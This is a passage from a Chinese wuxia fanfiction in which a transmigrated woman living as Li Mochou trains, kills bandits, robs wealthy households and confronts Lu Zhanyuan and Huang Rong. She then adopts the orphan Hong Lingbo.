天罗地网式之所以是古墓派的精髓,盖因如此吧?即便没有玉女心经,云灵坚信,专修此功,未来成就定能媲美绝顶高手,甚至令绝顶高手仰望。
毕竟,阿青姑娘曾轻易击破三千精锐甲士,她所依仗的,不过是与白猿对战中感悟出的武学。后人从她剑影中捕捉到的一丝精髓,代代相传,至今仍是一门上乘剑法。
阿青姑娘,不愧是亘古以来第一武学强者,无人能出其右。
而祖师婆婆能创制出这天罗地网式,她的感悟与武学修为,自然也不会差。能习练祖师婆婆传下来的武功,云灵深感荣幸。
天罗地网式日渐熟练后,云灵的修炼日程也更加严谨:上午习练天罗地网式,下午则钻研经脉穴位,到了夜晚,则静坐修炼内力。
武学之道,层次分明,由高至低依次为圆满、化境、大成、小成、入门。能够达到化境的高手,世间罕有。即便是当今五绝,也不过是这等境界,想要更进一步,难上加难。
云灵武功大成之后
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,进境也开始放缓,传说中的阿青姑娘,十五岁前便已武学圆满。更有传言,她在二十岁时便已破境飞升,因此后世再无她的足迹留下。
武学境界的高低,既与个人资质有关,也与所修内功秘籍紧密相连。有些人虽资质出众,却因内功所限,终生难以触摸到一流高手的门槛。
春去秋来,一年光阴,如白驹过隙,每日以草根与野果为食的云灵,武功已隐隐触摸到化境的门槛,而她对于经脉穴位的理解,也已至纯熟。
这自然是因为原主李莫愁的资质与悟性是这个世界的上佳之体,云灵来到这个世界之后,又专门修习这门天罗地网式之故,对于这么武功的参悟愈来愈深,也对祖师婆婆愈发敬畏。
武功大成的云灵,如今不过二十芳华,原主李莫愁曾有十年誓约,云灵却无意遵循。她不会重蹈李莫愁的覆辙,屠戮无辜。陆展元虽负了李莫愁,但罪不至家人。李莫愁的做法过于偏激,云灵不会效仿,但也不会轻易放过负心之人。
云灵轻叹,似是自语,又似是对李莫愁的感慨:“为何好端端的姑娘,偏要爱上那些大猪蹄子,还忍气吞声,委屈自己呢?”
她未曾涉足情场,也不打算涉足。即便有朝一日动了心,也不会选择男人。在她眼中,男人无一不渣。若非如此,那便是不敢渣,或是无力渣。
云灵对古墓派的生活并无眷恋,古墓中的幽闭生活,对她来说终究难以忍受,所以,她也并不打算回归古墓。
她没有行囊,除了身上那件沾满污血、略显破烂的衣裳,空无一物。
云灵采摘了一些野果,准备第二天启程,离开这个她居住了一年的山洞,去找寻陆展元,把旧账算一算。
时间在修炼中悄然流逝,第二日清晨,云灵吃过野果,便施展轻功,身形轻盈,姿态缥缈,速度迅捷地沿着溪流而下。
云灵并不打算冒险穿越那藤蔓众横的森林。谁也不知道里面隐藏着什么危险,瘴气、毒虫,稍有不慎,便可能丧命。她好不容易在这武侠世界中重生,自是珍惜生命。
那高耸入云的悬崖,她自然不会妄想飞越。有水的地方,便有人家。沿着溪流而行,她相信终能找到人烟。
5. 莫愁世界
"大哥,快看,那边有个美人。" 一个粗犷的汉子,脸上带着激动之色,指着远处的女子说道。
所谓的"大哥",是个满脸横肉的大汉,他闻言,顺着汉子所指的方向望去。果然,一位绝色女子映入眼帘,她的容貌秀丽,肤色如雪,眉目如画,一双深邃的眼眸仿佛能看透人心。长发如墨,随风飘扬,宛若夜幕下的瀑布。
恶匪这方共有六人,皆是贪婪成性,懒惰成瘾之辈,平日里无恶不作。他们打家劫舍,强抢民女,不知祸害了多少无辜女子,又有多少家庭因此家破人亡。
"大哥,这女子孤身一人,却敢在这荒山野岭中行走,恐怕不简单。" 一个土匪低声提醒。
但那位所谓的"大哥"却不以为意,他冷笑一声,道:"怕什么!咱们人多势众,还怕她一个弱女子不成?"
大汉不由自主地吞咽了口水,嘴角露出一丝邪笑,道:"兄弟们,等她走近,咱们就请她做压寨夫人。我先享受,之后……" 他的声音低沉,带着几分□□。
"大哥英明!" 身边的五六个弟兄纷纷附和,眼中闪烁着贪婪和期待。
"大哥放心,我们一定把事情办得妥妥的。" 一个土匪拍着胸脯保证。
那女子款款而来,步态优雅,气质非凡,仿佛不食人间烟火。她的出现,让这群土匪齐齐嘴流口水,他们还从未见过这般美貌的女子。
大哥舔了舔嘴唇,眼中闪过一丝狠戾,低声道:"兄弟们,准备好!"
土匪们摩拳擦掌,眼中闪烁着兴奋的光芒,仿佛已经看到了即将到来的"盛宴"。
云灵耳目清明,远远地便听到了山林中的粗重呼吸声。她虽未曾经历,但李莫愁的记忆里已有了提醒,她这是遇到打劫了。
她的步伐依旧轻盈,但眼神中已多了几分警惕。
"敢问是何方好汉?还不现身?"云灵声音平静,没有丝毫惧怕之色。这当然是李莫愁的记忆影响,否则以她不曾经历过的事情,哪能不害怕?
山林中跑出七个恶汉,团团包围着云灵。他们衣衫脏污,满脸淫邪,手持兵刃。
这么赤裸裸的目光,也难怪李莫愁黑化。这不怪她,而是找死的人太多,难道美貌也是一种错误?
他们的目光让云灵很不舒服,尤其是为首的大汉,肆无忌惮地打量着她。
"美人,你若肯跟我们走,保证你吃香的喝辣的,何必在这荒山野岭中受苦呢?"那大汉出言,满嘴黄牙□□着。
云灵微微摇头,她不想与这些山贼多费唇舌,直接说道:"让开!"
“有脾气的美人,正好合我心意,跟我走,让你享受享受我的厉害……”大汉哈哈大笑,仿佛眼前这女子已是囊中之物。
为首的恶汉更是大步向前,伸手便要抓向云灵。
云灵眼中闪过一丝寒光,她的身影一晃,轻松地躲过了恶汉的爪子。
"既然你们不知好歹,那就别怪我不客气了。"
她的身影如同鬼魅般在山贼们之间穿梭,每一次出手都准确无误地击中了对方的要害。不过片刻,那些原本嚣张的山贼便一个个倒在了地上。
云灵没杀过人,本不想杀人,但李莫愁已有些黑化的记忆,使她一出手便没有留手,招招毙命。
解决掉几个恶匪后,云灵心中波澜不惊。她的脑海深处,李莫愁的记忆如影随形,告诉她:恶人当诛,无需负疚。
她细心搜寻,从那些已无生气的恶匪身上,摸出了些许铜板碎银。“这么少,还敢自称土匪!”云灵冷笑,心中暗自计算,这些铜板碎银加起来,竟不足五两。
她抛下这些尸体,施展轻功,又赶了数个时辰的路。终于,一座城镇隐约出现在视野中。
云灵先在成衣铺挑选了一套杏黄梨花裙,换好装束后,向掌柜询问了客栈的方向,这才步出了店铺。
客栈坐落在小镇的中心,不算豪华,甚至略显破败。店内稀稀落落,只有几位客人。
这乱世之中,战火连天,能安心入店的食客自然不多,更何况是在这不起眼的小镇?
云灵刚踏入客栈,便有眼尖的小二迎上前来,恭敬问道:“客官,您是来打尖还是住店?”
云灵淡然回答:“住店。你们这里有什么价格的房间?”
在小二的详细介绍下,云灵选择了一间地字号房。毕竟,她手中的银两并不多。
解决了住宿问题,她对小二吩咐道:“小二,给我炒个青菜,切记不可放荤油,亦不可用荤食调料。”
“好咧,客官稍等……”小二应声,转身匆匆离去。
在这乱世之中,女子行走江湖并非罕见,更何况云灵这样的江湖儿女,她们无拘无束,自在逍遥。若是在乡野之地,女子仍需遵从那些陈规陋习,农人又怎能生存?
那些世家小姐,就需裹脚,不得越雷池一步,云灵庆幸自己并非汗人,她的祖先也不用遭受这份苦难。
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“客官,您点的炒青菜来了,请慢用……”小二的声音打断了云灵的思绪。
云灵微微点头,示意小二可以退下,她这才动筷,品尝起久违的饭食。一年来,她未曾尝过米饭和青菜,此刻只觉得无比幸福,连吃了两碗米饭,才心满意足地打了个小嗝。
周围稀稀落落的食客们讨论的都是些琐碎之事,并无什么值得关注的江湖消息。也是,这样的小镇,又怎会有江湖中人驻足?
云灵饱餐一顿后,对小二吩咐道:“小二,给我烧些热水,送到我房间。”说罢,她便轻盈地上了楼。
一直在山洞中修炼,她已许久未享受过热水澡的舒适。今夜,她终于可以好好地安睡一番。
小二动作迅速,不久便送来了热水。云灵沐浴完毕,便躺在床上,很快便进入了深沉的梦乡。
夜深人静,小镇上除了偶尔的狗吠声,再无其他声响。
云灵突然睁开双眼,她的动作轻盈无声,脸上蒙上一块黑布,打开窗户,一跃而出,悄无声息地落在了客栈之外。
宵禁之下,小镇上除了更夫和值夜的捕快,再无其他人影。云灵施展轻功,如同幽灵般在夜色中穿梭,避开了更夫和捕快的视线。
她在小镇中游荡,并无固定目标,今夜她所寻找的,是那些富裕之家。她心中有一股不平之气,对于那些所谓的商贾巨富,她早已看透了他们的虚伪和压榨。
云灵在前世已厌倦了那些所谓的企业家,他们无一不是剥削劳力,更有甚者,在剥削之余还假惺惺地捐款,以此博取名声。
而那些被世人唾弃的资本家,却往往与手下的员工们互利共生。
云灵重生于这个由武侠大师金大侠笔下所描绘的世界,她与金大侠同属东国,对于国内那些企业家的虚伪与剥削,她早已了然于心。
即便是在古代,剥削的本质并未改变,与她前世所经历的并无二致。她前世无力反抗,但今生今世,她已拥有了足够的实力,为何还要忍受这些商贾的脸色?
云灵心中冷笑:“让你们压榨,今夜我便向你们‘借’些银子。”她轻功高绝,悄无声息地进入了镇上最富裕的家庭,将家中财物搜刮一空。
随后,她又接连造访了数个富裕家庭,一整晚下来,她总共获得了五千两银票和千两现银。
回到客栈,云灵迅速打包,携带着这些财物,趁夜离开了小镇。对于小镇天亮之后如何混乱,她才懒得在意……
6. 莫愁世界
云灵星夜兼程,终于在晨光初现时抵达了一座小县城。她在城中选购了一头毛驴,这头毛驴通体乌黑,毛发浓密而顺滑,体态健硕,显然是长途跋涉的良驹。
虽然她精通轻功,但轻功消耗内力,且在江湖路上,未知的危险随时可能降临。再者,内力的持久毕竟不如四蹄生风的毛驴,在古代这崎岖不平的道路上,轻功也难以发挥出应有的速度。
云灵为毛驴系上了一个小巧的铃铛,铃铛随着毛驴的步伐发出清脆悦耳的声响。她将装有衣物、银票、金银的包袱稳妥地绑在毛驴背上,然后轻盈地跃上驴背,轻轻一拍毛驴的臀部,毛驴便迈开了稳健的步伐,向着嘉兴的方向进发……
“你这蠢驴,能不能走快些?乌龟都比你快……”云灵忍不住对这蠢驴抱怨起来,她后悔为什么买了这头倔驴。数日来,这蠢驴行进缓慢,不足两百里,且性情懒惰,贪吃异常,非精粮不食。
毛驴似乎感受到了云灵的不满,打了个响鼻,显得颇为不悦。
云灵怒气冲冲,一脚轻踹其臀,毛驴仅是懒洋洋地挪了两步,又停了下来,转头对云灵发出更大的响鼻,仿佛在表达它的抗议。
“你这蠢驴,莫非是在瞪我不成?”云灵从毛驴的眼神中,竟读出了一丝蔑视。
毛驴再次打响鼻,云灵虽不解其意,却也气愤地跑到驴前,执意要牵它前行。
然而,毛驴并不买账,一个执意向前,一个死命后退,两者在路中僵持不下,宛如拔河一般。
突然间,云灵手中的缰绳一松,那使力过猛的毛驴失去平衡,一个踉跄翻倒在地。
这一幕让云灵忍不住笑出声来:“哈哈……”
毛驴摇摇晃晃地站起身,似乎恼羞成怒,用头猛撞向云灵。云灵身形轻盈,轻松躲过,毛驴又冲来,她又巧妙避开,并顺势在驴臀上加一脚,让它跌跌撞撞。
毛驴虽倔,却始终无法碰到云灵分毫,攻击许久,最终气喘吁吁,败下阵来。
云灵得意地威胁道:“若你愿载我去下一个城镇,便有精粮可食;若不然,便将你卖给屠夫,成为桌上佳肴。”
待到蠢驴歇息足够,云灵再次骑上,轻拍其身,毛驴虽不情愿,却也只能缓缓前行。
看着毛驴那慢吞吞的步伐,云灵心中无奈,暗自抱怨:“这蠢驴,吃得比我还好,脾气比我还要大,真是买了个祖宗回来。”
经过一番波折,云灵终于在夕阳西下之前抵达了一座小镇。那头倔强的毛驴一路上响鼻不断,似乎在抗议着饥饿,直到云灵买来精粮喂它,这才安静下来。
次日清晨,云灵吸取了教训,特意购买了一大麻袋的精粮,让毛驴自己驮着。这驴儿似乎也明白了这是自己的粮食,背上驮着一人、一包袱,外加一大袋精粮,却意外地加快了脚步。
云灵见状,既感到好笑又有些无奈,她轻轻拍了拍驴头,心中暗自思量:距离嘉兴尚有五百里之遥,以这驴儿的脚程,不知何时才能到达。她不禁叹了口气,却又对这头有脾气的毛驴无可奈何。
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嘉兴,陆家庄。
陆家乃是官宦世家,家主陆展元,武功卓绝,与妻子何沅君伉俪情深,琴瑟和鸣。陆展元不仅武艺高强,更以仁心仗义,广结江湖豪杰。其名号在嘉兴如雷贯耳,人称陆大侠。
陆家在陆展元的经营下日益兴旺,声名远播,无人不晓。陆展元亦常慷慨解囊,助人为乐,行侠仗义,深得人心。
然而,即便是陆展元这样的英雄人物,亦有其人生憾事。他最后悔的,便是当年与李莫愁那段孽缘,招惹了一位不该招惹的人。
世间男子,谁无三心二意之时?情断义绝,各自天涯,本是常事。然而李莫愁的执着与决绝,却让陆展元心生畏惧,那份愧疚之情,也随之烟消云散。
李莫愁的激烈行为,更是让陆展元胆战心惊。当初她大闹婚礼,那一幕至今仍让他心有余悸。
幸得一灯大师及时出手,叫李莫愁定下了十年之约。否则,当时的陆家庄恐怕难逃一场浩劫。
陆家庄的正门前,一位身着杏黄梨花裙的女子,骑着一头毛驴,缓缓而来。她容颜绝世,身姿婀娜,恍若二八佳人,令人一眼难忘。
"尊客,您来此有何贵干?" 几位守门的劲装男子上前询问,态度恭敬而有礼。
女子淡淡回应:"我欲见陆家庄主,陆展元。"
她便是历经长途跋涉,终于抵达此地的云灵。若非那头倔强的毛驴,她又何至于历经风吹日晒月余?
"敢问小姐芳名,我等好去通报。" 一位劲装男子恭敬地问道。
女子声音清冷,如同山间清泉:"去吧,就说李莫愁拜访。"
闻听此言,守门的男子们脸色大变,纷纷转身疾走,仿佛见了鬼魅一般。云灵轻移莲步,追上一位跑得稍慢的男子,提住他的衣领,声音依旧清冷:"去,给我看好那头驴儿,喂些精粮。若敢怠慢,小心你的脑袋。"
那男子本已吓得腿软,听到云灵的话,如获大赦,连忙点头答应,转身去照顾那头毛驴。
这些守门的劲装男子之所以反应如此激烈,皆因李莫愁之名在陆家早已声名狼藉,令人闻风丧胆,小儿听闻亦会啼哭。
"报……陆庄主,大事不好了!" 一名劲装打手气喘吁吁地冲进议事厅,声音急促,远远便高声呼喊。
陆展元眉头一皱,沉声呵斥:"何事如此慌张?即便天塌地陷,也需从容应对……”
此时,陆展元正与兄弟陆立鼎商议家事。陆家近日风头正劲,半刻钟前才送走丐帮帮主黄蓉,正待声名鹊起,却不料此刻便被这突如其来的消息打断了喜悦。
陆展元饮了口茶,平复心绪,问道:"究竟何事,让你如此惊慌?"
劲装打手连忙回禀:"庄主,是李莫愁到了……"
"什么?" 陆展元闻言,手中的茶杯不禁一颤,失手落地,碎成数片。
陆展元紧抓着劲装打手的肩膀,声音颤抖:"再说一遍,是谁来了?"
劲装打手声音发颤,重复道:"李……李莫愁。"
陆展元身形一晃,跌坐在椅上,一旁的陆立鼎亦是面色苍白。
陆展元迅速回过神来,一把拉起陆立鼎,急切道:"兄弟,速速离去。李莫愁武功高强,我非其敌手。你带着沅君、弟妹,还有双儿,从后门先行撤离,务必安置好她们。随后,你即刻启程,去请黄帮主相助,以解陆家之危。"
陆立鼎心中虽想留下与兄长并肩作战,但他明白,保护陆家血脉与根基更为重要。他含泪点头,转身匆匆离去……
陆立鼎的身影刚消失在门外,云灵便步入了议事厅,她脚步慢悠悠,并不是很急切。
陆展元尚未来得及筹谋对策,便见李莫愁已至眼前,他心中一紧,声音微颤:“李莫愁,你怎会突然造访?”
云灵目光冷冽,扫过陆展元,心中暗自思量:这人模狗样,确有几分魅力,难怪能令李莫愁念念不忘。她语气中带着一丝讥讽:“我为何不能来?”
陆展元面露惊恐,急切道:“你……你忘了我们之间的十年之约吗?”
云灵冷笑一声,眉宇间尽是不屑:“十年之约?我为何要守?如今一灯大师不在,你又奈我何?”
李莫愁,一位被情所弃的女子,何须默默忍受,目睹旧爱的幸福?一灯大师的一言之约,竟要她空等十年,这又是何等的不公?
云灵心中暗潮汹涌,一灯大师的安排,对她而言,不过是一场荒谬的戏码。
陆展元试图以旧情打动她,轻声唤道:“愁妹……”然而,话音未落,云灵便已打断:“休要如此称呼我,令人作呕!”
男人,总是如此,有利则亲近,无利则疏远。云灵非原主,对陆展元无半分情感,这种称呼,只会让她心生厌恶。
云灵眼中闪过一丝冷嘲,她的声音如同冬日里的寒风,刺骨而凛冽:"陆展元,你以为,凭你那虚情假意的呼唤,就能让我忘记过往的伤痛吗?多少个日夜,你可知我是如何度过的?"
陆展元面对暮云的质问,无言以对。他只能无力地望着眼前的女子,眼中流露出一丝哀求。
云灵却不为所动,她冷笑一声,继续说道:"一灯大师的所谓十年之约,对我而言,不过是一张废纸。我李莫愁从不受人摆布,更不会为了一个无情无义之人,浪费我宝贵的光阴。"
陆展元感到一阵寒意,他知道,今日之事,恐怕难以善了。
云灵话音未落,身形已动。她轻功卓绝,如同飘渺的云烟,疾袭向陆展元。
陆展元虽武功不如李莫愁,但也不可能坐以待毙。他深吸一口气,凝聚内力,准备迎接即将到来的攻击。
然而,云灵武功之高,远出乎他的预料。她的拳掌如狂风暴雨般袭来,陆展元只感到自己如同置身于惊涛骇浪之中,既逃不掉,也挡不住,更躲不开。
拳掌如雨点般落在他的身上,他只坚持了片刻,便感到力不从心。不一会儿,整个人鼻青脸肿,如猪头大小,身上更是酸痛异常。
"咳咳!"陆展元终于支撑不住,瘫倒在地,不由咳出了鲜血,显然已受了内伤。
云灵上前,一脚将想要起身的陆展元踹倒。她踩在他脸上,使他面颊与地
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面摩擦,直至口鼻流血,连牙都崩了两颗。
“陆展元,今日我来,不为续旧情。”云灵一脚踩着他的脸,居高临下地说道,“当日你负我,今日我便与你清算。”
议事厅前,陆家的打手们已围成一圈,个个手持兵刃,却无一人敢上前。他们只能眼睁睁看着家主受辱。
“陆展元,今日我便废了你丹田,让你知晓负我的后果。”云灵的声音冷如冰霜。
陆展元听闻此言,只能呜咽,如同一条狗般,他如今连话都说不出来,只能挣扎着想摆脱,但云灵的脚却如铁石般死死地踩着他。
围聚的打手们听闻此言,无不倒吸一口凉气。废了武功尚可重修,但废了丹田,便连普通人都不如,与废人无异。
毕竟,丹田若被废,手软脚软,体弱多病,还能有何作为?
云灵眼中闪过一丝决绝,陆展元的罪行在她心中早已不可饶恕,即便是亲手结束他的生命,也不足以平息她心中的怒火。但如今,她认为废掉他的丹田,让他如同废人般痛苦地度过余生,才是对他最好的惩罚。
正当她准备动手之际,云灵那敏锐的六感突然捕捉到了一丝不寻常的动静。她不得不放弃对陆展元的攻击,施展轻功,身形如同飘渺的云雾,迅速离开了攻击范围。
“咦!”一声惊讶脱口而出。
云灵转头望去,只见一名手持碧绿竹棍的绝美女子正站在不远处,她的双眼中依稀闪烁着昔日的灵动与机敏,面容上依稀保留着往日的娇美与绝丽,令人不敢直视。
“黄帮主,不知今日大驾光临,有何贵干?”云灵一见此人,便知她便是那位传说中的黄蓉,除了她,还有谁能有此等风采?
“咦,你竟然认得我?”黄蓉对于云灵的身法之妙,心中也是颇为惊讶,此刻听到云灵一语道破自己的身份,更是惊疑不定。
云灵心中暗自翻了个白眼,但面上却保持着平静:“手执碧绿竹棒,身着破旧衣衫,除了名震江湖的黄帮主,还会有谁?”
“既然你认得我,那就请放过陆家吧。”黄蓉说道。
“我何曾说过要灭陆家?我不过是要废了陆展元的丹田而已。”云灵冷冷回应,随即运起内力于手掌,准备对陆展元下手。
“不可!”黄蓉眉头紧锁,她来不及细想,只得使出打狗棒法,试图阻止云灵这一掌。
若是云灵不顾一切地拍下这一掌,恐怕她自己也将陷入生死存亡的危机之中。
果然,正如黄蓉所料,云灵并未不顾一切地拍打。她撤回掌力,身形如同幻影一般,轻飘飘地避开了黄蓉的打狗棍法。
若是换了原主,或许会不顾一切地拍下,但云灵惜命如金,绝不会为了一个渣男而轻易送命。
"黄帮主,你为何如此执意保护他?" 云灵的声音冷如冰霜,带着一丝不屑。
"陆少侠向来锄强扶弱,仁心仗义,是江湖上响当当的好汉。还请阁下高抬贵手。"
云灵冷笑一声,讥讽道:"传言黄帮主自小聪慧过人,如今嫁为人妇,难道连本性都丢了?为了一个男子,竟然甘愿牺牲自己?"
黄蓉面色一沉,正欲反驳,却被云灵抢先一步:"若是郭靖负了你,三心二意,左拥右抱,你又当如何?"
黄蓉冷哼一声:"靖哥哥怎会负我?陆展元虽对你不住,但也不至于遭受如此重罚。"
如果是在遇见郭靖之前,黄蓉这个小东邪绝对不会如此轻易放过负心人。她的手段,足以让那些负心人后悔来到这个世界上。
"如果我执意如此呢?" 云灵的声音中带着一丝挑衅。
"那便看看你有没有这个本事。" 黄蓉轻笑回应。
"呵,那便试试!" 暮云话音未落,身形已经如同鬼魅一般,一掌拍向陆展元。黄蓉见状,连忙使出打狗棒法,试图阻止。
两人的身影在议事厅内交错,一时间竟难以分出高下。黄蓉的打狗棒法灵动而精妙,每一棍都暗藏杀机。而云灵的古墓派武功更是缥缈莫测,她的身影忽左忽右,让人难以捉摸。
两人的比斗,虽无刀光剑影,却也惊心动魄。黄蓉的棒法变化多端,每一棒都指向云灵的要害。而云灵则是以快打慢,她的拳掌重叠,回以黄蓉周身要害。
两人的身影交错,一时间竟难以分出高下。黄蓉心中暗自惊讶,没想到眼前这女子的武功竟也如此缥缈莫测,让她一时之间无可奈何。
云灵虽身法比黄蓉快,拳脚也比黄蓉快,但在打狗棒法的招式下,也难以近得黄蓉身前。
两人就这样虚虚实实的过招,一时间,谁也碰不到谁,谁也奈何不了谁。
7. 莫愁世界
陆立鼎本以为请来黄帮主,便能轻易制服李莫愁。他万万没想到,李莫愁的武功之高,竟不在黄帮主之下。
两人的激烈交锋,让周围的陆家打手纷纷避退,他们不是不愿相助,而是自知实力不济,贸然上前,无异于自寻死路。
陆立鼎趁机将兄长从议事厅拖出,吩咐打手带下去治疗。此刻,议事厅前只剩下他和数十名打手,目瞪口呆地看着眼前的这场高手对决。
云灵与黄蓉斗了半个时辰,突然身形一闪,撤出了战斗。寻常人若是这般贸然收手,恐怕早已被对手击中,但云灵轻功高绝,即便是面对黄蓉的凌厉攻势,也能从容撤开。
黄蓉见云灵罢斗,也收招退后,她对云灵的武功既感惊叹,又存警惕。
"黄帮主,你护得了陆展元一时,可护得了一世?" 云灵的话语中隐含着威胁。
她与黄蓉斗了许久,却始终无法占得上风,心中不禁对黄蓉的名声更加敬畏。
"你这话是什么意思?" 黄蓉聪慧过人,自然听出了云灵话中的深意。她此次来嘉兴,本是处理丐帮事务,助陆家退敌只是顺便,确实无法长久保护陆展元。
"很简单,我也不为难黄帮主。这样吧,让陆展元赔付我五万两纹银,此事就此作罢,如何?" 云灵提议道。
在她看来,与其得罪黄蓉,不如索要一笔银子来得实在。得罪了黄蓉,丐帮势力庞大,她恐怕会遭到无休止的追杀。而只要银子,黄蓉未必会拒绝,反正也不用她出钱。
"哼!五万两纹银,你好大的口气!" 黄蓉冷哼一声,显然对云灵的狮子大开口感到不满。
"我口气大不大,黄帮主来亲个嘴,不就知道了?" 云灵微笑挑衅。
"你……你一个女子,竟如此不知羞耻,此言实在孟浪……" 黄蓉俏脸一红,她从未想过,竟有人敢在她面前如此放肆,今天竟然……竟然被调戏了!
云灵语带威胁,对黄蓉说:“黄帮主,若不愿让陆展元赔偿,那就算了。今日杀不得他,我改日再来。”言罢,她便迈步向前,准备离开。
“且慢!”黄蓉的声音突然响起,阻止了云灵的离去。
云灵停下脚步,转身面对黄蓉:“黄帮主,还有何指教?”她靠近黄蓉,这才真切感受到黄蓉那绝世的容颜,即便是嫁为人妇,依旧美得令人心动。
黄蓉沉声道:“五万两纹银太多,一万两,此事就此了结。”
云灵轻笑一声,语气坚定:“黄帮主,这不是市井讨价还价,五万纹银,一分不少。否则,我明日定会再来。”
此时,陆立鼎插话道:“李姑娘,我代兄长答应你,但请黄帮主作个见证。”
黄蓉心中暗自咬牙,对陆立鼎的愚蠢感到无奈,而云灵心中却是暗喜,她知道,以黄蓉的聪慧,再谈下去,她早晚败下阵来。
“好,那便请黄帮主作个见证。”云灵看着黄蓉,轻笑着回应陆立鼎。
陆立鼎心中明白,黄蓉一走,李莫愁必会再来。陆家如今全凭兄长支撑,若兄长不在,陆家也就完了。钱财乃身外之物,没了还可以再挣。
黄蓉见状,知道自己已无法改变局面,只得提笔书写字据,作为见证。
云灵拿到了合计五万两纹银的银票,签下了黄蓉书写的字据。从此,她与陆展元之间的恩怨,就此一笔勾销,桥归桥,路归路。
签完字据,云灵手执银票,转身步出了陆家大门。
门前,一只毛驴正悠闲地嚼着精粮,偶尔打着响鼻,显得颇为自得。
她轻步上前,拿过缰绳,轻盈地一跃,便稳稳坐在了毛驴背上。她轻拍毛驴的后背:“走吧,蠢驴。”
毛驴似乎也感受到了主人的喜悦,脚步轻快了许多,蹄声踏踏,铃铛随之叮咚作响,清脆悦耳。
“且慢!”黄蓉快步追上,目送着云灵远去的背影,忍不住问道:“不知李姑娘师从何门何派?”
这是黄蓉第一次见到云灵,她的武功之高,给黄蓉留下了深刻的印象,让她不禁好奇云灵的师承。
云灵眨了眨眼,眼中闪过一丝狡黠:“想知道吗?除非黄帮主与我亲个嘴,我便告诉你。”
黄蓉的俏脸再次泛起红晕,心中暗骂:“她也是女子,怎地如此轻浮……”
当黄蓉回过神来,云灵的身影已经远去,只有她那清灵的声音远远传来:“终南山上,活死人墓!”
“终南山上,活死人墓……”黄蓉低声重复着,心中一动,抬头望向云灵离去的方向,暗自思忖:“原来是林朝英前辈的传人,难怪武功如此高强……”
黄蓉虽未亲眼见过林朝英,但她的事迹黄蓉亦是听说过的。传说林朝英武功盖世,连当时的天下第一高手王重阳,也曾败在她的手下。
若云灵真是林朝英的门下,那她的武功自然非同小可。黄蓉心中暗自感叹,带着脸上未退多少的红晕,她转身回了陆家庄。
******
离开陆家庄后,云灵骑着蠢驴,沿着乡间小路悠闲地前行,一路欣赏着沿途的自然风光。除了蠢驴时常闹些小脾气,旅途还算平顺。
然而,当云灵离开嘉兴不久,天空便开始连绵不断地洒下雨点。无奈之下,她只得寻找一个避雨之所,等待天气转晴。直到一个多月后,天空才渐渐放晴。
放晴之后,四处是一片洪水过后的景象。云灵骑着毛驴,在泥泞不堪的小道上缓缓前行,速度极为缓慢,一天下来也难以行进多远。
这日,云灵被一条波涛汹涌的大河所阻挡。洪水无情地吞噬了小道,河水如万马奔腾,令她难以渡河。
突然,她的目光捕捉到洪水中有一个挣扎的小身影。定睛一看,是一个小女孩,正拼命挣扎,生命悬于一线。
云灵心中一紧,没有时间犹豫。她立即施展轻功,从毛驴背上一跃而下,身形如离弦之箭,射向那汹涌的河流。
自幼在岭南长大的她,对水性自然熟悉。但面对如此湍急的洪流,这还是她生平第一次。尽管心中有些忐忑,她的动作却没有丝毫迟疑。
洪水的冲击让她的轻功难以施展,但她识水性,知道眼下不是与洪水对抗,而是要顺应它的力量。水流极快,眨眼间小女孩已被冲出数十丈。云灵顺着洪水游动,每一次划动,都让她与小女孩的距离更近一分。
她的视线紧紧锁定在小女孩身上,那个小小的身躯在洪水中显得如此脆弱无助。
就在她快要接近小女孩的时候,一股突如其来的暗流将她猛地拉向一边。云灵身体几乎失去了控制,用尽技巧,才摆脱了暗流的束缚。
云灵顺着河流迅速游到已经呛水的小女孩身边,自身后一把将她紧紧抱住,然后顺着河流向岸边游去。
终于,在身体已经筋疲力尽之时,云灵抱着小女孩成功地抵达了岸边。她将昏迷过去的小女孩轻轻地放在地上,自己也累得几乎瘫倒。她检查了小女孩的呼吸和脉搏,虽然微弱,好在还有一口气在。
云灵无暇歇息,她运起内力,轻按小女孩胃部。昏迷中的小女孩,随着这一按,竟将腹中积水咳出。
这小女孩,衣衫褴褛,满是补丁,破烂不堪。云灵细探其骨龄,不过七岁,却因生活艰苦,营养不良,模样仅似五岁稚童。
积水吐出,小女孩渐渐苏醒。云灵将她轻抱而起,沿着河流往上走,轻声问道:“小妹妹,你家在何处?”
小女孩摇摇头,泪水如断线珍珠般滚落,哽咽道:“我没有家了,爹爹娘亲、哥哥弟弟,都被洪水冲走了,呜呜……”
云灵不知如何安慰这小女孩,只得静静等待,直到她的哭泣渐息,这才柔声问道:“小妹妹,你叫什么名字?以后跟着我,可愿意?”
"我叫三丫!”小女孩的声音嘶哑,显然是因哭泣而失声。
在这乱世之中,农家子弟鲜有文墨,起名向来简单易记。
云灵轻抚她的小脑袋,心中福至心灵,道:“从今以后,你便叫洪凌波,如何?”洪水过后,愿你如凌波仙子,自在前行。
“原来这小女孩便
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是洪凌波,难怪在为她起名之时,心中便有灵光一闪。”云灵默默想道。
洪凌波一生皆为李莫愁而活,她对师傅敬重有加,始终有着一颗善心,最终却惨死于师傅之手。
李莫愁行事向来有她的理由,唯独杀害了唯一真心待她之人,此事无从辩解。
"从今往后,你便是洪凌波,而我,便是你的师傅,李莫愁。"云灵柔声道。
"嗯…师…师傅。"洪凌波虽不明白"师傅"二字的深意,但见云灵如此说,便乖巧地依样称呼。
云灵抱着洪凌波,轻功一展,半刻钟后便寻到了那头毛驴。她从包袱中取出干果与清水,看着洪凌波饥不择食地吞咽过后,随即将她轻轻安置于驴背之上,自己则牵驴缓步前行。
抵达一座小镇,便为洪凌波定制了五套天蓝梨花裙,连同内衣饰物。她自己也定制了四套杏黄梨花裙,同样连同内衣饰物。
衣裳需时日制成,云灵只得携洪凌波暂住客栈,耐心等待。云灵于小镇中为洪凌波觅得一头小毛驴。此驴虽小,性情却温顺,与云灵那头倔驴儿形成鲜明对比。
衣裳制成,毛驴亦已就绪,云灵与洪凌波各骑一头,踏上终南山之路。
途中,云灵开始传授洪凌波知识。她所教之学,皆源自李莫愁的记忆,洪凌波天资聪颖,学得甚快。
一路走一路教,历经数月风尘仆仆,她们终于抵达终南山脚下的小镇。
在小镇,云灵购置了衣物干果与饰品,将洪凌波安置在镇上,自己则趁夜悄悄踏上通往终南山的山路。
或许是归乡之情的涌动,云灵心中既激动又夹杂着一丝难以言说的畏惧。她踏的每一步,既认真又缓慢,仿佛要将这脚下的山路,一寸一寸地刻入记忆深处。
终南后山,树木苍翠,一片宁静祥和。然而,云灵站在古墓门前,却不敢踏入分毫。
